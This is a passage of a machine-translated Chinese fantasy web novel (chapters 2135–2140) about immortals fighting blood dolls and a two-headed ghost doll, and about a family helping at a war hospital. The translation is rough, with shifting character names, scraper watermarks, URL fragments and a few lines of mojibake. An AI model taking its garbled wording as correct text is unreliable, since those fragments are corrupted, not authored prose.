    But the smile is not half cute, on the contrary it is creepy.


    Because of this smile, the pocket version of the blood doll''s mouth grinned directly on the back of his head, revealing the sharp fangs below that looked like a hacksaw.


    Then he heard a vague sound in its throat.


    "It''s actually a smelly Taoist priest, Jiejie, just to beat you up!"


    With that, it pounced on Zhang Chu again.


    Zhang Chu flashed around, and the blood doll passed straight through.


    But before Zhang Chu breathed a sigh of relief, he suddenly felt a sharp pain in his chest, then opened his mouth and vomited a mouthful of blood.


    At the same time, he saw a sharp, weird smile on the blood doll, and at the same time there was an extra bone in his hand.


    Amazingly, it was a section of Zhang Chu''s rib.


    "Smelly Taoist, it''s useless, you can''t avoid my pursuit, as long as I want to, I can pick your heart off at any time!"


    But in the face of such a weird attack, Zhang Chu''s face sank like water, and then slowly took a deep breath, and suddenly spit out another big mouthful of blood.


    After Laojun Jian absorbed the essence and blood, his power skyrocketed again, and then he slashed his sword towards the body of the blood doll.


    "It''s really a bunch of stubborn bull noses!" This pocket-sized blood doll sneered, and then rushed towards Zhang Chu again.


    This time, its goal is Zhang Chu''s heart.


    However, Zhang Chu didn''t even care, and his sword power did not slow down.


    Seeing that the blood doll''s hand went through the void directly into Zhang Chu''s chest, he was about to take his heart.


    From a distance, there was a cold drink like thunder.


    "Pro!"

 Chapter 2135： 1 sword killing

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    With this cold drink, a huge gold inscription flew straight and printed on this pocket-sized blood doll.


    boom!


    The blood doll let out a terrible cry, and then it was directly shaken out.


    And in the midair, a thick smoke came out of its body.


    That''s because the gold letter is burning its body.


    At the same time, a brilliance flashed, and then a boy in white appeared in the field.


    It is Xue An.


    I saw him at this moment. Although he had gone through ten days of fierce battle, he still won the snow in white, without the slightest dust.


    Especially the ethereal temperament on his body became stronger and stronger.


    As soon as he saw him, Zhang Chu, who had already reached his limit, finally let out a breath.


    "Mr. Xue..."


    Xue An waved his hand and said lightly: "Needless to say, step back and rest, let me deal with this evil thing!"


    "Yes!" Zhang Chu immediately retreated.


    Then Xue An looked at the blood doll in the distance with a sinking face.


    now.


    Because of Xue An''s word power, the pocket version of the blood doll has been thoroughly roasted, leaving only the body of the blood doll standing in place.


    After feeling Xue An''s gaze, the blood doll shook all over, and then grinned and shouted vaguely.


    "Xue An...!"


    With the voice, but seeing the endless evil reappearance, the endless evil spirits rushed towards Xue An overwhelmingly.


    Not to mention anything else, the fact that this blood doll can speak and shout Xue An''s name proves that its strength is far superior to those of bone chariots.


    But when these evil spirits rushed to Xue An, Xue An didn''t even look at these ghosts, just drank a word.


    "Bing!"


    Bang bang bang!


    With this word out, the whole sky of evil spirits who had rushed to the front shook all over, and they exploded one after another.


    In an instant, the evil spirits all over the sky turned into ashes under the chain of explosions.


    Xue An took a step slowly, and after a step, he came directly to the blood doll.


    This sudden move shocked the blood doll, even if he wanted to struggle.


    But in the next second, all its actions stopped.


    Because Xue An suddenly stretched out his hand and pressed it on top of its head.


    Because of the huge difference in body shape, Xue An looked so inconspicuous in front of this blood doll.


    But it was this lightly pressing that the blood doll immediately froze in place, unable to move anymore.


    This is the coercion from the immortal emperor.


    Seeing this scene, Zhang Chu, who had already retreated to a distance, couldn''t help but smile.


    He fought hard for a long time, and even almost got his life in, but still couldn''t shake the monster. When it came to Xue An''s hands, it looked like an ant and couldn''t even struggle.


    What a power gap is this!


    When Zhang Chu sighed, Xue An raised his eyebrows slightly.


    "you know me?"


    The blood doll raised those pure white eyes like a nightmare, stared at Xue An, and then made a hoarse voice in his throat.


    "Of course I recognize you, because the adults have already explained that, as long as you see you, you must be killed!"


    Xue An''s mouth gradually raised, "Oh, isn''t it? Then I am really honored! But unfortunately, you seem to have no chance!"


    After that, Xue An''s wrist turned, Tianzhu sword appeared immediately, and then pierced the blood doll''s eyebrows.


    "Ahhhhh!"


    The blood doll howled in extreme pain, but no matter how hard it struggled, it couldn''t make Xue An''s palm move a bit.


    At the same time, this Tianzhu sword began to furiously absorb everything, and the original redness on the sword quickly expanded.


    In contrast, the figure of this blood doll began to shrink at a speed visible to the naked eye.


    This extreme pain made it howl frantically.


    But Xue An didn''t even blink his eyelids. Instead, he turned his wrist, and even the Tianzhu Sword was slowly stirred in the blood doll''s body.


    "Wow wow wow wow wow..."


    The blood doll suddenly let out the cry of a baby.


    But this kind of cry that should have been pitiful, matched with the figure of this blood doll, is so strange and terrifying, and it makes the heart chilling.


    "Xue An... the adults said, you must die without a place to bury, this is your inescapable destiny!"


    "Hehe, my life has never been controlled by anyone. As for the adults in your mouth..."


    A cold light flashed in Xue An''s eyes, "I''m waiting for them!"


    When the words fell, Xue An''s arm slammed hard.


    puff!


    The Tianzhu Sword was completely submerged in the eyebrows of this blood doll.


    "Ahhhhh!"


    With the last scream, the figure of this blood doll shrank quickly, and finally withered and shattered, turning into fly ash.


    As it turned into fly ash, there was also this wave of worms that followed it.


    In an instant, this fringe battlefield was swept away.


    Zhang Chu stood in place with a bit of amazement, looking at Xue An standing proudly in the sky, his eyes full of awe.


    At the same time, Xue An slowly dropped his sword.


    After ten days of fighting, the body of this Tianzhu sword, which was originally white as jade, has turned pink, and when it has completely absorbed the evil spirit of this blood doll the color can''t help but change again. Deepened a bit.


    Not only that, but even the power has become much stronger and sharper.


    But Xue An did not see the slightest joy on his face.


    On the contrary, there was a deep and solemn color in his eyes.


    Because the strength of this blood doll is obviously much stronger than that of the bone chariot, it can be said that it is the highest level evil thing that has appeared since the war began.


    Although this evil thing can deal with it by itself, it is an extremely terrifying existence for ordinary strong people.


    The key is that the ability to penetrate the void into the human body out of thin air, thereby destroying organs, is simply overwhelming.


    For example, this time, if he hadn''t arrived in time, this Chu was obviously not lucky.


    This also reflects the seriousness of the problem from the side.


    After all, the vast majority of powerhouses are worse than Zhang Chu.


    If such evil things gradually increase, the pressure that everyone faces will surely increase several times.


    At that time, everyone will have to draw a question mark if they can hold it.


    At this moment, Zhang Chu suddenly shouted, "An Ying, what''s the matter with you?"


    When the words fell, Xue An immediately turned to look.


    Amidst the scattered flying ashes, An Ying suddenly appeared.


    At this moment, the shining armor of the soldier talisman on his body has been bleak, and his body is covered with various wounds, large and small.


    The heaviest injury was the one that penetrated his entire face.


    This wound seems to have been hit by something moving at high speed. It entered from the left cheek and flew out from the right cheek, forming a terrible wound. The blood was dripping, and even the gums in the mouth could be seen clearly. .


    Seeing this, Zhang Chu rushed here immediately, and Xue An was faster than him.

 Chapter 2136： The truly cruel frontline

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    I saw him appear next to An Ying in a flash, and then grabbed his shoulder, ready to probe his injuries.


    But at this moment, An Ying immediately countered Xue An''s move almost unconsciously.


    Guanghua flashed in Xue An''s eyes, and then whispered softly: "An Ying, I am Xue An, the evil ghost has been killed by me, now you can rest assured!"


    As soon as this remark came out, An Ying, who had been standing, immediately fell backwards, and fell into the arms of Zhang Chu who came later.


    Zhang Chu was shocked, "Mr. Xue, how is An Ying''s situation?"


    At this time, Xue An had thoroughly probed An Ying''s body through Divine Mind, then released his hand and said in a deep voice.


    "It''s okay for the time being, but because the injury is too serious and the blood loss is too much, so you must quickly return to the earth for treatment, otherwise this life will be completely lost even if it is saved!"


    Zhang Chu heard this and said immediately: "Well, I will send him back to Earth now!"


    Xue An nodded, "Go! I''m going to inspect the battlefield now!"


    With that, Xue An was about to fly up, but when he was about to leave, he suddenly stopped and then whispered.


    "When he wakes up, remember to tell him that Xue An recognizes his brother-in-law!"


    "Yes!" Zhang Chu said immediately.


    Xue An immediately flew up and flew to the depths of the battlefield.


    Looking at Xue An''s back, Zhang Chu suddenly felt distressed.


    Because from the beginning of the war until now, he was replaced by someone and returned to Earth to rest twice, but Xue Ancheng didn''t even close his eyes.


    Such a consumption, even if it is as strong as the immortal emperor, will probably feel exhausted!


    Zhang Chu sighed lightly, then picked up An Ying who was in a coma, turned and flew towards the earth.


    Meanwhile, in the center of the battlefield, fierce fighting continued.


    Click!


    A foxtail appeared out of thin air, and then abruptly twisted the body of a bone chariot.


    After finishing all this, Hu Ye was exhausted and almost collapsed.


    "Damn, how come these guys can''t finish killing, but the little master is exhausted!" Hu Ye was panting and complaining.


    Just at this moment, a ten-foot-high poisonous scorpion king shot out the stinger on the tail at Huye.


    Hu Ye didn''t realize this.


    Seeing the poisonous thorn, he was about to stab the night of the fox. A scorching dragon''s breath suddenly struck, directly refining the poisonous thorn, and then heard a dragon chant. Blood water.


    Then I saw a giant dragon appearing next to Fox Ye, swaying slightly before turning into a human form.


    It was Ao Yi, Princess Long Er.


    "Fox Ye, can you have a snack, don''t you know how dangerous it was just now?" Ao Yi said with an aversion to iron.


    Huye scratched his head in a somewhat slanderous manner, "Sorry, I was a little negligent, thank you!"


    Ao Yi snorted, "Who is rare to thank you!"


    With that, she turned around and crossed over, then transformed into a flying dragon and rushed forward.


    At the same time, Ye Hanshang suddenly appeared next to Huye, and exclaimed: "Little fox, it seems that the second princess is still very concerned about you, otherwise he won''t care about you so much!"


    Hu Ye''s face blushed when he was told, and he quickly changed the subject, "Why did you withdraw from the front line?"


    "Just repelled a wave of attacks, your ancestor ordered Lao Chu to stare at Lao Tiantou, let me come back and rest first!" Ye Hanshang said in a relaxed tone.


    But Hu Ye still noticed a penetrating wound on Ye Hanchang''s left shoulder at a glance. Although he had recovered most of it, he could still see the white and miserable bones inside, which was shocked.


    "Apiao, are you hurt?"


    Ye Han Chang waved his hand indifferently, "It''s okay, it''s just a small injury, it''s almost healed!"


    Hu Ye took a deep breath, then raised his hand and threw a pill.


    "What is this?" Ye Hanshang took it casually.


    "This is a healing pill specially made by our Qingqiu Fox Country. The effect is very good. You can take a rest here and clean up these slipped fish for me by the way!"


    After that, Hu Ye immediately turned and rushed to the front line.


    Ye Hanshang didn''t stop either, because he knew very well that the situation on the front line was really tense now, everyone had reached the limit, and one more Fox Night would be considered an extra boost.


    Therefore, he swallowed this pill without hesitation, the whole body was surging, and the majestic Yin Qi quickly recovered his injuries, and he was investigating all the fish that slipped through the net nearby.


    At this moment, Hu Yeye had already rushed to the front line.


    The so-called front line is actually the place closest to this copper gate.


    Although everyone on the entire battlefield today is fighting non-stop, the truly tragic battle still belongs here.


    Because the number of evil things here has already reached an incredible level.


    However, there are countless and boundless poisonous insects stacked on top of each other, even reaching hundreds of feet high, and then wave after wave like a wave to the front line.


    And in this sea of ??worms, there are countless bone chariots rushing frantically, often when you kill one, two will immediately make up for the previous position.


    Therefore, no one dared to relax in the slightest, but went all out to madly block these invading evil creatures.


    Therefore, the brilliance of the entire front line that symbolizes the release of spells has come and gone, and has become a piece, and has never stopped since the war began.


    Under such a high-intensity battle, even the fairy king feels extraordinarily difficult let alone those who are weaker in power.


    Therefore, the rotation system is implemented on this front line. The immortal king will be replaced for an hour to rest, and Daluo will take 20 minutes.


    As for the strong below Da Luo... they don''t even have the qualifications to appear here.


    And because of this setting, everyone was able to hold on to such an overwhelming evil attack for ten days without giving way.


    But at this time everyone is almost reaching the limit.


    Because people have discovered that no matter how they kill, the number of these evil things seems to never decrease, on the contrary, they are increasing.


    This kind of desperation that can''t see the end can kill a person''s fighting will most.


    At least many people feel a deep loss at this moment.


    now.


    This nine-tailed fox ancestor Huhuan also lost the inattentiveness of the past, and saw him wave a gloomy face to wipe out the evil objects in a radius of hundreds of meters, and then transmitted the sound to Li Jingxing in the distance.


    "Old Li, I always feel something is wrong! The attacks of these evil creatures seem to be even more crazy today. At least there will be a short break between waves before, why are they all crazy today?"


    "Yeah, I also feel this way. The key is that these evil things don''t know what fear is, and under the impact of this one after another, I don''t know how long people can last!"


    With that, Li Jingxing raised his hand and cut out a sword.


    Sword Qi came over the sky and covered the earth, swept away the evil things in front of him, and extended to the bronze gate in the distance, cutting out a long corridor.


    Although only a few breaths, the corridor was covered by evil things again, but everyone was still shaken.


    But at this moment, there was a creepy baby crying in the bronze door.

 Chapter 2137： Two-headed ghost doll

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    When this cry came, the evil creature that was fighting with everyone immediately stopped attacking and then retreated.


    Seeing this scene, everyone was shocked.


    "What''s the matter with this cry?" Someone asked in surprise


    "Gosh, look at what it is?" Someone suddenly shouted in horror.


    Everyone looked up one after another, but saw the brilliance flickering in the bronze gate, and then slowly walked out of a huge monster.


    When they saw this monster, everyone couldn''t help taking a breath.


    Because the appearance of this monster is too weird and terrifying.


    It was the blood doll that appeared before, but this one was even bigger, and there were two heads growing on the neck.


    The two pink baby faces looked at the crowd from different angles. The one on the right was grinning silently, while the head on the left was crying with closed eyes. The previous cry was made by it.


    After seeing this monster that seemed to run out of a nightmare from hell, not only the people present were chilled, but even the people watching the live broadcast on Earth were also terrified.


    Yue Qinghuan, who was watching the battle in Villa Tianzi No. 1, condensed his eyes, and then slowly spit out a few big characters.


    "Two-headed ghost doll!"


    This evil thing is the advanced version of the blood doll, even in her cognition, it is a very high existence.


    But I didn''t expect it to appear suddenly at this time.


    Yue Qinghuan stared at the two-headed ghost doll in the field, his expression changed, and finally he sighed as if he had thought of something.


    This "test" looks far more complicated than I thought!


    At the same time, Hu Ye appeared in front of his ancestor Huhuan, and asked solemnly: "Ancestor, what is this stuff?"


    Huhuan''s complexion was equally ugly, and he shook his head and said, "I don''t know, but the evil spirit of this thing is much stronger than all the evil things before."


    At this moment, the two-headed ghost doll suddenly opened his eyes, and his eyes were as pale as a dead fish watching the crowd, and then he cried like a cry and laughed.


    "Death...you all have to die!"


    The double-headed ghost doll screamed vaguely, and following its voice, a wicked atmosphere rose from its body, and instantly enveloped the entire battlefield.


    Immediately afterwards, in every corner of the battlefield, countless evil things began to emerge frantically.


    There are many higher evil things that have never appeared before.


    In an instant, the entire battlefield became chaotic, with cries and roars one after another.


    The forefront of this battlefield is naturally no exception, countless huge evil things began to flood everyone like a tide.


    Upon seeing this, Huhuan couldn''t help but wince at Li Jingxing in the distance.


    Li Jingxing understood his mind, and immediately took a step forward, and the sharp and unparalleled sword energy directly crushed all the evil things blocking the road, and then he appeared in front of the double-headed ghost doll and cut it down with a sword.


    The sight of the sword falling out of blood did not appear as expected.


    On the contrary, after a muffled sound like defeating Ge, Li Jingxing''s sword was flew out, and the shock wave of the counter-shock also caused Li Jingxing''s entire body to sway.


    At this time, the audience was shocked.


    You must know that from the start of the war, there was no evil thing that could resist Li Jingxing''s sword.


    After all, he is the top sword repairer of the dignified immortal emperor!


    But I didn''t expect this two-headed ghost doll to be so powerful, not to mention that it was directly immune to the sword-qi attack, and it almost hurt Li Jingxing.


    How could this not shock everyone.


    Li Jingxing''s expression was even more solemn, and he didn''t expect that he, who had never missed his hand, would actually be frustrated in front of this monster.


    His strong self-esteem made him send a sword again without hesitation.


    This sword was several times stronger than the previous one, and even the violent sword might shook the space out of cracks.


    After that, Jian Qi took the indomitable domineering power and went straight to this evil thing.


    Everyone couldn''t help but watch with eyes wide open.


    But this two-headed ghost doll didn''t even hide when faced with Li Jingxing''s sword, instead it made a strange laugh.


    "Jianxiu... delicious."


    As he said, the saliva flowed along the corner of its mouth.


    At the same time, the sword also hit the double-headed ghost doll.


    But it was still muffled like defeating Ge, and then all the sword power became invisible.


    The double-headed ghost doll''s body showed no scars, as if nothing had happened.


    At this time, everyone was dumbfounded.


    Li Jingxing even blurted out, "How is it possible?"


    He is very confident in his sword, even if he is a powerful person who is also the Immortal Emperor, it is impossible to retreat under this sword.


    But the problem is that this scene happened so real, he couldn''t help but believe it.


    Yue Qinghuan looked at this scene in the water mirror and said lightly: "It''s useless, the blood doll is originally a very difficult evil thing. The double-headed ghost doll is its upgraded version, and it is still the only few that can be natural. There is a kind of wisdom with incomprehensible talent."


    "For example, this one, if I guess right it should have the talent to be immune to all physical damage!"


    really.


    When Li Jingxing, who did not believe in evil, slashed again, the two-headed ghost doll let out a hideous grin, and then his body wriggled crazily.


    Then it snapped a mouth, and dozens of miniature ghost dolls flew out from the big mouth of the blood basin.


    As soon as these ghost dolls appeared, they turned into dozens of black shadows, and then appeared around Li Jingxing''s body in an instant.


    Li Jingxing snorted coldly, and then stepped on his foot. In a short time, his sword vigorously formed around him and formed a huge storm, frantically strangling anyone who dared to break in.


    But such a powerful offensive failed to stop these ghost dolls.


    I saw them let out a sharp weird laugh, passed through the sword qi storm without being affected, and rushed towards Li Jingxing.


    "Old Li!" Huhuan couldn''t help screaming at this moment, then flicked the fox''s tail.


    The nine foxtails passed through the void in an instant, appeared behind Li Jingxing, shielded him, and directly pulled out.


    As soon as he left, these ghost dolls also happened to arrive. After feeling the disappearance of Li Jingxing''s breath, these ghost dolls resembled aggrieved babies and let out a cry of disappointment.


    There were also a few ghost dolls who were unwilling to bite towards the void, and the Huhuan here couldn''t help but let out a muffled snort.


    Because his foxtail was only one thread away from disappearing into the void. As a result, these ghost dolls seized the opportunity to bite off a piece of the leather belt.


    But anyway, Li Jingxing was rescued somehow.


    He stood beside Hu Huan with an iron face, "How is it?"


    "It''s okay, it''s just being bitten by these sharp-toothed guys!" Hu Huan pretended to smile easily.

 Chapter 2138： Physical exemption

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Immediately, his expression was also stern, "Old Li, this ghost doll is obviously something wrong, it seems to be immune to your sword qi damage and my foxtail defense!"


    "It''s not like, but what it is!" A voice suddenly came from behind.


    Hu Huan and Li Jingxing immediately turned their heads to look around.


    A brilliance flashed by, and then Xue An appeared in front of everyone.


    When he saw him, Hu Ye could not help but let out a sigh.


    "Old Xue, where did you go, we are almost scared to death!"


    But before he finished speaking, Chu Wuxiang stopped him, and then Chu Wuxiang shook his head slightly at him.


    "Don''t ask, let him rest, he is too tired!"


    Hu Ye immediately understood, and smiled a little embarrassedly, "I know, isn''t I just talking about it!"


    Xue An ignored Fox Ye, instead looking at the two-headed ghost doll in the distance, and said lightly: "Is that just the one who came to explore the way?"


    Hu Huan and Li Jingxing didn''t understand what it meant, but this did not prevent the worry in their hearts.


    I saw Li Jingxing solemnly said: "Xue An, this thing is very difficult, how to deal with it?"


    Xue An chuckled, and then looked at Li Jingxing with a frustrated face, "Don��t think these things are difficult to entangle. They often have puzzling talents in some aspects, but this also means that in other aspects, they may Weak and terrible!"


    "So as long as you catch this, these evil things will be easy to deal with!"


    Li Jingxing and Hu Huan both looked contemplative when they heard this.


    "Such as the Hydra before?" Huhuan said.


    "Yes!"


    "Then what is the weakness of this evil thing?" Hu Huan asked again.


    "I don''t know now, but I should know soon!" Xue An said with a smile, and then stepped forward to the double-headed ghost doll.


    Although the strength of this two-headed ghost doll is much stronger than the previous blood doll, it doesn''t know why, but its IQ is much lower.


    When Xue An rushed to the front and back of it, it just recalled the two-headed ghost dolls of the previous pocket edition and rushed towards Xue An.


    Other than that, there was no superfluous reaction.


    Just like a natural killing machine.


    The brilliance flashed in Xue An''s eyes, and then ten thousand golden lights appeared in the back of his head.


    Bah!


    When the golden light passed, these two-headed ghost children screamed, and they were directly roasted into nothingness.


    "I wipe it, is that simple?" Hu Huan almost dropped his chin in shock.


    But Xue An was not so relaxed, because these golden lights wiped out only the clones of the two-headed ghost doll, and its body was not affected by the golden lights in any way.


    On the contrary, because the clone was destroyed, this body was still furious for it.


    "Hohohoho, death!"


    It yelled a word vaguely, and then the body suddenly began to deform, and its two heads slammed to the sides, with countless tentacles extending in the middle, waving towards Xue An.


    "Be careful!" Li Jingxing exclaimed.


    Xue An smiled coldly, and then the brilliance in his eyes exploded, and the majestic spirit rushed out, instantly condensing into a sharp spike in front of his eyebrows.


    Then the spikes disappeared directly, and when they reappeared, they had already appeared behind the two-headed ghost doll.


    The figure of the two-headed ghost doll instantly stagnated, and then a large hole gradually collapsed in its chest and abdomen.


    Then with this big hole as the center, countless cracks quickly emerged, and finally broke apart and turned into blood.


    one strike!


    Just a blow!


    The evil thing that made Li Jingxing and Hu Huan embarrassed was broken.


    At this time, even the most arrogant Li Jingxing couldn''t help nodding his head repeatedly.


    In the earth, Yue Qinghuan was also full of splendor after seeing this scene.


    "What a powerful divine mind. I knew that your divine mind was very strong before, but I didn''t expect it to be so strong. From this point of view, your chances of passing this test have increased a little bit!"


    "No wonder the smelly cat values ??you so much, I also found that you are getting more and more interesting!"


    Yue Qinghuan laughed at himself suddenly, "It''s a pity, you already have a family..."


    When saying this, Yue Qinghuan''s lavender eyes were full of strange brilliance.


    At this moment, footsteps suddenly came from the stairs, and then two small figures appeared on the roof of the villa.


    Yue Qinghuan''s previous strange expression instantly converged, changed to a full smile, and then leaned down and said, "Why are you two little girls running over?"


    It was just that I missed these two little girls.


    I saw that the two of them looked at Yue Qinghuan with some restraint, and then thought about speaking first.


    "Um... my mother asked us to ask you if the rice is cooked, do you want to eat!"


    Yue Qinghuan was startled slightly, and then shook his head with a light smile, "No, I''m not hungry!"


    "Auntie, are you losing weight?" Nian Nian asked suddenly.


    "Oh? Why are you asking like that?" Yue Qinghuan said with interest.


    "Because I watched TV like this, many young ladies said that they are not hungry, UU reading is actually to lose weight!" She said, Nian Nian blinked her big eyes and looked at Yue Qinghuan.


    "Am i right?"


    Yue Qinghuan laughed dumbly, "Of course not, do you think Auntie, I still need to lose weight?"


    Having said that, Yue Qinghuan stood up deliberately, revealing his slender figure.


    "It seems...I really don''t need it!" Nian Nian tilted her head and looked at it.


    Yue Qinghuan smiled triumphantly.


    No matter what kind of woman, what she likes most is to hear that she is in good shape.


    But she never expected to read the next sentence, but she couldn''t laugh anymore.


    "But just eat more papaya!"


    Yue Qinghuan almost didn''t get choked, and couldn''t help asking: "What did you say?"


    I think I immediately blocked Nian Nian with a little nervousness, and then said hurriedly.


    "Auntie, don''t be angry, this is not what my sister said, but Zhang Xiaoyu and Xiaosha were overheard by us while chatting!"


    "Yes! I overheard it!"


    With that said, Nian-nian was still a little weird, poking her head out from behind her and asking.


    "Aunty Yue, why do you want to eat more papaya? Are you lacking in nutrients because you don''t like vegetables?"


    Yue Qinghuan: "..."


    In the end, she leaned down helplessly and stroked the head of Miss and Nian lightly.


    "Auntie doesn''t lack anything, let alone eat papaya! You two don''t go outside and talk nonsense, have you heard?"


    "Hmm! We promise not to talk nonsense!" The two little girls nodded together.


    Looking at the twins, who were almost exactly the same in appearance and behavior, Yue Qinghuan felt that he was in a lot of joy, and couldn''t help but wink at them mysteriously.


    "You two...Do you want to go out with auntie?"

 Chapter 2139： Miss the growth

    Yue Qinghuan now looks like a villain who abducts children with candy on the street.


    at least in the eyes of two little girls.


    I saw them retreating quite nervously.


    "Also... I don''t need it anymore! Mom will make cooked rice soon!" Think about it.


    "Yeah, it''s time to eat soon!" Nian Nian added.


    Yue Qinghuan smiled mysteriously, "Don''t worry, it won''t delay your coming back for dinner!"


    said, she stretched out her hand to gently hold the wrists of the two little girls.


    As soon as the two little girls were about to struggle, they felt that the surrounding environment had suddenly changed, and they came to a prosperous place from the top of the previous villa.


    "Huh! Isn''t this Beijiang downtown?" Think about it and ask in surprise.


    "Yes, but why is this deserted, people?" Nian-nian asked.


    At this moment, the location of the three of them is on the most prosperous Longteng Street in Beijiang.


    But now this bustling street is empty, and both ends of the street are blocked by fences.


    Yue Qinghuan couldn''t help showing a strange color on his face, "It''s probably because the enemy is now, people are not in the mood to go out and hang out!"


    After ���� said, the three of them flashed and disappeared in place.


    When they reappear, the three of them have arrived in another big city in China.


    But the result is still the same, with empty streets everywhere.


    The two little girls couldn''t help being silent.


    Yue Qinghuan suddenly chuckled, "Sure enough!"


    said, she lowered her head and asked the two little girls, "Do you want to know where everyone is going?"


    "Hmm!" The two little girls nodded heavily.


    "Well, then I will take you to see!"


    In a short time, the surrounding environment changed again, and then he came to a very busy place.


    The three of them did not show their figures, but stood in the air and looked down.


    I saw the iconic building at a glance, and couldn''t help but exclaimed: "It''s Zhongdu Plaza!"


    Nian Nian pointed to the chaotic crowd under her feet, and said in surprise: "Aunt Yue, what are these people doing? Why..."


    She just wanted to ask why so many people gathered here.


    At this moment, dozens of Guanghua flew by, and then a group of people appeared on the ground carrying a stretcher.


    When they appeared, the audience immediately became agitated. Countless people in white clothes swarmed up and began to rescue the people on the stretcher.


    All kinds of medical equipment were presented in a stream, and people raced against the clock to rescue the wounded.


    was on the other side at the same time, and a lot of brilliance fell.


    These people were obviously not injured, but all of them were extremely weak, and some even staggered to the ground as soon as they emerged.


    But as soon as they appeared, the people who had been waiting by the side immediately surrounded them, then carried these people onto the wounded frame, and ran in without any explanation.


    The whole process took less than three minutes, and then the calm in front of the door temporarily recovered.


    Until then, the two little girls did not understand that this originally sacred and solemn building had been transformed into a hospital.


    And those wounded don''t need to ask, they were naturally carried down from the battlefield.


    Seeing this, the two little girls couldn''t help being silent.


    Yue Qinghuan said lightly: "I was a little puzzled before, why these ordinary people can persist on such a cruel battlefield for so long, now I finally understand!"


    Talking, Yue Qinghuan suddenly muttered in a voice that only he could hear: "Sure enough, it is a Chinese nationality. After so many years, nothing has changed!"


    After reading this, the two little girls naturally have no interest in playing.


    When the three of them returned to Tianzi No.1 Villa, the two little girls bid farewell to Yue Qinghuan, and then walked down to the third floor.


    At this time, An Yan just brought the food to the dinner table. After seeing her two daughters, she couldn''t help but smile and said: "Hurry up and wash your hands, this time I made your favorite braised pork!" :https://www.@x81zw@@


    She naturally knew that Yue Qinghuan would not come down to eat, but her good cultivation still made her order her two daughters to call once.


    But the two little girls were not as happy as An Yan thought. They lowered their heads and went to wash their hands a little unhappy.


    An Yan couldn''t help being taken aback.


    what happened?


    Could this be what Yue Qinghuan said?


    Probably not!


    But she was not eager to speak, but sat at the dinner table.


    At this time, the two little girls came back after washing their hands. After sitting down, they suddenly asked.


    "Mom, where are Zhang Xiaoyu and Xiaosha?"


    "Oh, they have something to do, we go out, we can eat by ourselves!" An Yan smiled.


    "Where are Aunt Xuan''er and Aunt Mengxue?"


    There was a look of surprise in An Yan''s eyes. Obviously, she didn''t understand what happened to these two little girls, why they asked so, but she quickly said with a smile.


    "They are naturally busy too!"


    "Then mom, you used to go out after cooking before, did you go busy too?" Think about it again and ask.


    "Uh...this..." An Yan just wanted to explain.


    Nian Nian jumped off the chair, and then said solemnly on her small face: "Mom, we all saw it just now, you and Aunt Xuan''er and Aunt Mengxue went to the hospital to help, right?"


    "How are you..." An Yan just wanted to ask, what came to mind immediately, and then he sighed slightly.


    "It was Miss Yue who took you to see, right?"


    "Hmm!" The two little girls nodded heavily.


    "Yes, as you can see, I and your Aunt Xuan''er, Aunt Mengxue, went to the hospital to help."


    "Then why don''t you let us know?" Thinking about it, I suddenly asked This question made An Yan a bit wrong, and I just wanted to blurt out why I should let you know.


    But when she saw the serious expressions of the two little girls, she suddenly didn''t know what to say.


    "The two of us are no longer children, and everyone is busy now, we have to go to the front to help!" Think about it.


    "My sister is right!" Nian Nian echoed.


    "You... go and help? But what can you do?" An Yan couldn''t help laughing.���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "Why can''t I do it? I can see the root of many things, and my sister can speak up and follow the law, of course I can help!"


    An Yan wanted to say something, so she thought about taking a step forward and looked at her eyes very seriously.


    "Mom, I know you and dad don''t want us to be hurt, but now that the catastrophe has arrived, and people are busy, why are we two embarrassed to stay here?"


    "Yes, yes! What my sister said is right!" Nian-nian echoed again.


    An Yan laughed suddenly, and then stretched out his hand to gently stroke the heads of the two little girls.


    "If you can think like this, my mother is very pleased. Then you will follow me to help after dinner, okay?"


    "Hmm!" The two little girls went to dinner happily.


    And An Yan looked at them with a smile, and then said halfly with satisfaction and half with emotion.


    "Really...grow up!"

 Chapter 2140： War Hospital

    An Ying trembled all over, and finally woke up from the deepest nightmare.


    Then he felt a burst of extreme thirst, as if there was fire in his mouth, and his lips were chapped and sore.


    He wanted to speak, but he tried his best and only moved his lips slightly. A genius remembers ����һChinese m.x/8/1/z/w.c/o/m/


    His throat was hoarse and couldn''t even make a sound.


    At this moment, I suddenly felt a soft touch on my lips, and then a stream of sweet spring water poured into my mouth.


    The smell of this spring water is so sweet that even An Ying felt that all the cells in her body were cheering.


    The huge sense of joy finally gave him some strength, and then slowly opened his eyes.


    is the first to see the delicate face that has just been raised.


    At this moment, it was twilight, and the dim light was projected through the window and hit the side of the girl''s face, making her beautiful like a god.


    An Ying couldn''t help but look silly.


    At this moment, the woman also saw him wake up, she was taken aback for a moment, and then smiled at him slightly, "You are awake!"


    The voice is gentle and pleasant.


    An Ying wanted to nod, but only then did he realize that he was wrapped tightly, unable to move a finger except blinking.


    This can''t help but make him look worried.


    The girl couldn''t help but cover her mouth and smiled, "Okay, don''t be so anxious, Immortal Master Zhuge said, as long as you wake up, it means you are all right, and your injuries will be healed soon!"


    When ���� was talking, he heard a chaotic sound of footsteps, and then the people who appeared surprised An Ying.


    I saw the general of the town state leading a group of generals into the ward, holding a box in his hands.


    "Comrade An Ying, you finally wake up, now everyone can rest assured!" General Zhen Guo laughed.


    Although An Ying can''t move people, she can still speak, especially when facing such an old man with powerful hands, he can''t help but wonder. The fastest full text of �����ŵr ��ӦӦ�s:/��.�ְˢ�z��.c����/


    "General, this is..."


    General Zhen Guo looked solemn, "Comrade An Ying, Captain Zhang Chu has already told us about your performance on the battlefield. You can face the thousands of evil forces with your own strength. This kind of courage is amazing, so this is our purpose. Medal for you!"


    As he said, the General Zhen Guo opened the brocade box in his hand, which was a medal.


    An Ying is naturally unable to pick it up. In fact, his brain is still in a daze until now.


    On the contrary, the girl smiled and took the brocade box, and then said a few more words, the town general led everyone back.


    After everyone was gone, the girl took out the medal from the box, looked at it carefully, and then took another bite, which was quite surprised.


    "Wow, it''s still pure gold! Great hero, it seems that people really value you!"


    An Ying was suddenly silent, and only after a long time did she say: "Great hero...I am not a hero, but I am a warrior who luckily survived!"


    This strange atmosphere silenced the room.


    The girl sighed softly, put the medal back to its place, and then shrugged, "Since you know that you did not die, you should cherish this honor. After all, this is not for yourself, but for all of you. Especially those heroes who died in battle!"


